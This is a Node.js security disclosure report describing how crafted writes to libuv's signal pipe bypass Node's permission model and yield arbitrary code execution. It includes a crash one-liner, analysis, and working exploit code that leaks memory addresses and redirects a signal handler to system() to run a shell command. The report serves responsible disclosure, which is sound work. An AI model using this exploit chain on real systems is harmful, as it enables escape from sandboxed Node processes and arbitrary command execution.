Node.js · Report #2260337
Permissions can be bypassed via arbitrary code execution through abusing libuv signal pipes
How it was found
Summary:
Sending specific crafted messages to Node.js libuv signal event pipe allows an attacker to obtain arbitrary code execution primitives, bypassing any module-based permissions and process-based permissions enforced.
Description:
Node.js uses libuv which uses pipes to signal and handle events in order to support asynchronous I/O event loops. As communication between pipes are trusted it is possible to send a specific crafted message to the pipe to obtain arbitrary code execution, bypassing any module-based permissions and process-based permissions enforced.
This vulnerability is reproducible even under the most restrictive policies (module-based permissions) and permission models (process-based permissions) available on latest Node.js version.
Steps To Reproduce:
- Download and untar {F2874430}. This is a Dockerized repro based on
node:20.9.0-alpine3.17image on digestsha256:b82ef5b38a306323dfcce05eb0d60bc568d7cf69967afb21bd42d7deaecd558e.
$ tar xvf repro.tar.gz
code.js
Dockerfile
policy.json
run.sh
- Run
./run.sh. This will build the repro image and run the container, where the exploit codecode.jsruns within the most restrictive policies and permissions model possible.- Module-based permissions: No dependencies allowed for the exploit code
- Process-based permissions:
allow-fs-readonly for two files, policy file/policy.jsonand exploit code/code.js. - Additional flags such as
--noexpose_wasmto additionally remove trivial attack vectors (WASI)
$ ./run.sh
[+] Building 0.0s (7/7) FINISHED docker:default
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 592B 0.0s
=> [internal] load metadata for docker.io/library/node:20.9.0-alpine3.17@sha256:b82ef5b38a306323dfcce05eb0d60bc568d7cf69967afb21bd42d7deaecd558e 0.0s
=> [internal] load build context 0.0s
=> => transferring context: 2.10kB 0.0s
=> [1/2] FROM docker.io/library/node:20.9.0-alpine3.17@sha256:b82ef5b38a306323dfcce05eb0d60bc568d7cf69967afb21bd42d7deaecd558e 0.0s
=> CACHED [2/2] COPY code.js policy.json / 0.0s
=> exporting to image 0.0s
=> => exporting layers 0.0s
=> => writing image sha256:b8194f61f74b5dcaa9cca0ecb47d102b9db14dc9285b7443a1c0f3b017285b1a 0.0s
=> => naming to docker.io/library/repro 0.0s
buf: 0x7fe5a0a297c0
musl: 0x7fe5a3702000
go!
done!
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
{F2874191}
Analysis:
This is a step-by-step in-depth analysis of the exploit.
- Triggering the libuv crash
We first identify the vulnerability by triggering a crash from libuv. Running the following immediately yields a crash (if the host supports io_uring). If not, try it with 11 instead of 15 for the first argument (if host does not support io_uring, 4 fds not opened).
$ node --version
v20.9.0
$ node -e 'process.stdout.constructor(15); process.stdout.write(new Uint8Array(new BigUint64Array([0x133700000000n, 0x133800000000n]).buffer));'
Segmentation fault (core dumped)
process.stdout.constructor refers to WriteStream. Calling this function with 15 indicates that we create a new TTY object with file descriptor set to 15, and set this as stdout. This effectively changes all following stdout writes to write on fd 15 instead of the original fd 1.
// lib/tty.js#L84
function WriteStream(fd) {
if (!(this instanceof WriteStream))
return new WriteStream(fd);
if (fd >> 0 !== fd || fd < 0)
throw new ERR_INVALID_FD(fd);
const ctx = {};
const tty = new TTY(fd, ctx);
if (ctx.code !== undefined) {
throw new ERR_TTY_INIT_FAILED(ctx);
}
net.Socket.call(this, {
readableHighWaterMark: 0,
handle: tty,
manualStart: true,
});
We can verify this by strace:
$ strace node -e 'process.stdout.constructor(15); process.stdout.write(new Uint8Array(new BigUint64Array([0x133700000000n, 0x133812345678n]).buffer));'
// omitted
ioctl(15, TCGETS, 0x7ffcdd0a5380) = -1 ENOTTY (Inappropriate ioctl for device)
fstat(15, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
fcntl(15, F_GETFL) = 0x801 (flags O_WRONLY|O_NONBLOCK)
ioctl(15, FIONBIO, [1]) = 0
ioctl(15, FIONBIO, [0]) = 0
ioctl(15, TIOCGWINSZ, 0x7ffcdd0a5708) = -1 ENOTTY (Inappropriate ioctl for device)
write(15, "\0\0\0\0007\23\0\0xV4\228\23\0\0", 16) = 16
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)
The constructor call results in fd 15 to be considered as stdout tty fd. It responds with ENOTTY on some tty-related ioctls but still continues fine until process.stdout.write() call sends the payload. This results in a segfault.
- Identifying the segfault
To identify why we have crashed, we first check what fd 15 is. Below is a list of file descriptors for a reference Node.js process.
$ ls -alF /proc/10530/fd/
total 0
dr-x------ 2 root root 28 Nov 22 03:54 ./
dr-xr-xr-x 9 root root 0 Nov 22 03:54 ../
lrwx------ 1 root root 64 Nov 22 03:54 0 -> /dev/pts/0
lrwx------ 1 root root 64 Nov 22 03:54 1 -> /dev/pts/0
lrwx------ 1 root root 64 Nov 22 03:54 10 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Nov 22 03:54 11 -> 'anon_inode:[eventpoll]'
lrwx------ 1 root root 64 Nov 22 03:54 12 -> 'anon_inode:[io_uring]'
lrwx------ 1 root root 64 Nov 22 03:54 13 -> 'anon_inode:[io_uring]'
lr-x------ 1 root root 64 Nov 22 03:54 14 -> 'pipe:[117933]'
l-wx------ 1 root root 64 Nov 22 03:54 15 -> 'pipe:[117933]'
lrwx------ 1 root root 64 Nov 22 03:54 16 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Nov 22 03:54 17 -> 'anon_inode:[eventpoll]'
lrwx------ 1 root root 64 Nov 22 03:54 18 -> 'anon_inode:[io_uring]'
lrwx------ 1 root root 64 Nov 22 03:54 19 -> 'anon_inode:[io_uring]'
lrwx------ 1 root root 64 Nov 22 03:54 2 -> /dev/pts/0
lr-x------ 1 root root 64 Nov 22 03:54 20 -> 'pipe:[104958]'
l-wx------ 1 root root 64 Nov 22 03:54 21 -> 'pipe:[104958]'
lrwx------ 1 root root 64 Nov 22 03:54 22 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Nov 22 03:54 23 -> /dev/pts/0
lr-x------ 1 root root 64 Nov 22 03:54 24 -> /dev/null
lrwx------ 1 root root 64 Nov 22 03:54 25 -> /dev/pts/0
lrwx------ 1 root root 64 Nov 22 03:54 26 -> /dev/pts/0
lrwx------ 1 root root 64 Nov 22 03:54 3 -> 'anon_inode:[eventpoll]'
lrwx------ 1 root root 64 Nov 22 03:54 4 -> 'anon_inode:[io_uring]'
lrwx------ 1 root root 64 Nov 22 03:54 5 -> 'anon_inode:[io_uring]'
lr-x------ 1 root root 64 Nov 22 03:54 6 -> 'pipe:[104952]'
l-wx------ 1 root root 64 Nov 22 03:54 7 -> 'pipe:[104952]'
lr-x------ 1 root root 64 Nov 22 03:54 8 -> 'pipe:[104953]'
l-wx------ 1 root root 64 Nov 22 03:54 9 -> 'pipe:[104953]'
We see that fd 15 corresponds to a pipe's writer side fd, with its corresponding reader side fd on 14.
We then check the crash site via gdb, which reveals that we have crash at the following libuv code:
// deps/uv/src/unix/signal.c#L35
typedef struct {
uv_signal_t* handle;
int signum;
} uv__signal_msg_t;
// deps/uv/src/unix/signal.c#L431
r = read(loop->signal_pipefd[0], buf + bytes, sizeof(buf) - bytes);
// deps/uv/src/unix/signal.c#L457
for (i = 0; i < end; i += sizeof(uv__signal_msg_t)) {
msg = (uv__signal_msg_t*) (buf + i);
handle = msg->handle;
if (msg->signum == handle->signum) { // crash on handle->signum dereference
assert(!(handle->flags & UV_HANDLE_CLOSING));
handle->signal_cb(handle, handle->signum);
}
handle->dispatched_signals++;
if (handle->flags & UV_SIGNAL_ONE_SHOT)
uv__signal_stop(handle);
}
We now see that this is the pipe reader side code for fd 14. As we have sent new BigUint64Array([0x133700000000n, 0x133812345678n]) from our test code, handle is now 0x133700000000 and msg->signum == 0x12345678. libuv segfaulted on this handle value.
Note that if we have a controlled data on known address, we can easily make this an arbitrary function call. This is because we can point handle to the known address, satisfy the msg->signum == handle->signum constraint as well as the assert() call to reach handle->signal_cb(handle, handle->signum). handle->signal_cb is our controlled data, and what's also good is that the first argument is handle itself - it would be best if we can make this into an arbitrary system(cmd) call.
- Leaking addresses
For node binaries linked to glibc PIE seems to be disabled, which allows exploiting the binary in a easier manner as the node binary address is fixed. This is not the case for other node binaries, for example musl-linked node used for alpine-based Node.js docker images. Thus to exploit the vulnerability to obtain a full system(cmd) call, the exploit must first leak addresses.
Leaking addresses are easily done by using uninitialized Buffer. After depleting the initial Buffer pool by allocating ~0x2000 bytes, we receive a new pool that is filled with garbage data that the previous allocations have used.
This leaks the Buffer backing memory address at index 6, and an address at index 5 which has a constant offset from musl library base.
// repro/code.js#L28
const fill = [];
for (let i = 0; i < 0x3f9; i++) {
fill.push(Buffer.from("A"));
}
const dump_orig = Buffer.from("MARK").buffer;
const dump = Buffer.from(dump_orig);
const dump64 = tele(dump);
//console.log(dump64);
const buf = dump64[6] - 0x20n;
console.log(`buf: 0x${buf.toString(16)}`);
assert(dump64[4] === 0x007265666675425fn); // "_Buffer"
assert((buf & 0xfffn) === 0x7c0n);
const musl = dump64[5] - 0x40a68n + 0x315000n;
console.log(`musl: 0x${musl.toString(16)}`);
assert((musl & 0xfffn) === 0n);
- Popping shell
Now that we have leaked the libc base and the address of backing store of a Buffer, we can use this to call arbitrary system(cmd). Using DataView to modify the Buffer contents at known address, we set handle->signal_cb = system, handle->signum == msg->signum and write our desired command to handle. We finally send the payload sigmsg to trigger the vulnerability and call arbitrary shell commands. In the repro exploit code, id > /proc/${process.pid}/fd/1 is called to demonstrate that we have indeed popped shell.
// repro/code.js#L47
const view = new DataView(dump_orig);
const sigmsg = new BigUint64Array(0x2);
const cmd = `id > /proc/${process.pid}/fd/1\0`;
assert(cmd.length <= 0x60);
for (let i = 0; i < cmd.length; i++) {
view.setUint8(i, cmd.charCodeAt(i));
}
view.setBigUint64(0x60, ntoh(musl + 0x423a1n)); // handle->signal_cb = system
view.setBigUint64(0x68, ntoh(0x1337c0d3n)); // handle->signum = 0x1337c0d3
sigmsg[0] = buf; // handle = buf
sigmsg[1] = 0x1337c0d3n; // msg->signum = 0x1337c0d3
console.log('go!');
process.on('exit', () => {
process.stdout.constructor(1);
process.stdout.write("done!\n");
});
try {
process.stdout.constructor(11); // no io_uring
} catch {
process.stdout.constructor(15); // supports io_uring
}
process.stdout.write(new Uint8Array(sigmsg.buffer));
process.exit();
Fix:
There are multiple factors to consider when fixing this vulnerability:
- Filesystem permissions for process-based permissions currently do not implement any defense against already opened file descriptors, implicitly trusting them to be within the enforced permission model. This report proves that this is not the case.
- Even after exhaustively implementing proper filesystem permissions over already opened file descriptors on
node:fs, there may be other ways to interact with file descriptor. This report shows one case of usingprocess.{stdin,stdout,stderr}.constructorto reset a TTY, enabling arbitrary writes on any file descriptors. It is difficult to check whether or not we've covered all cases.
As such, the reporter currently does not have a concrete idea on a comprehensive fix. Minimizing attack surface by denying access to process may be a good starting point.
Impact
This vulnerability allows attackers to bypass the experimental permission model and gain arbitrary code execution, even under the most restrictive policies and permission models currently available.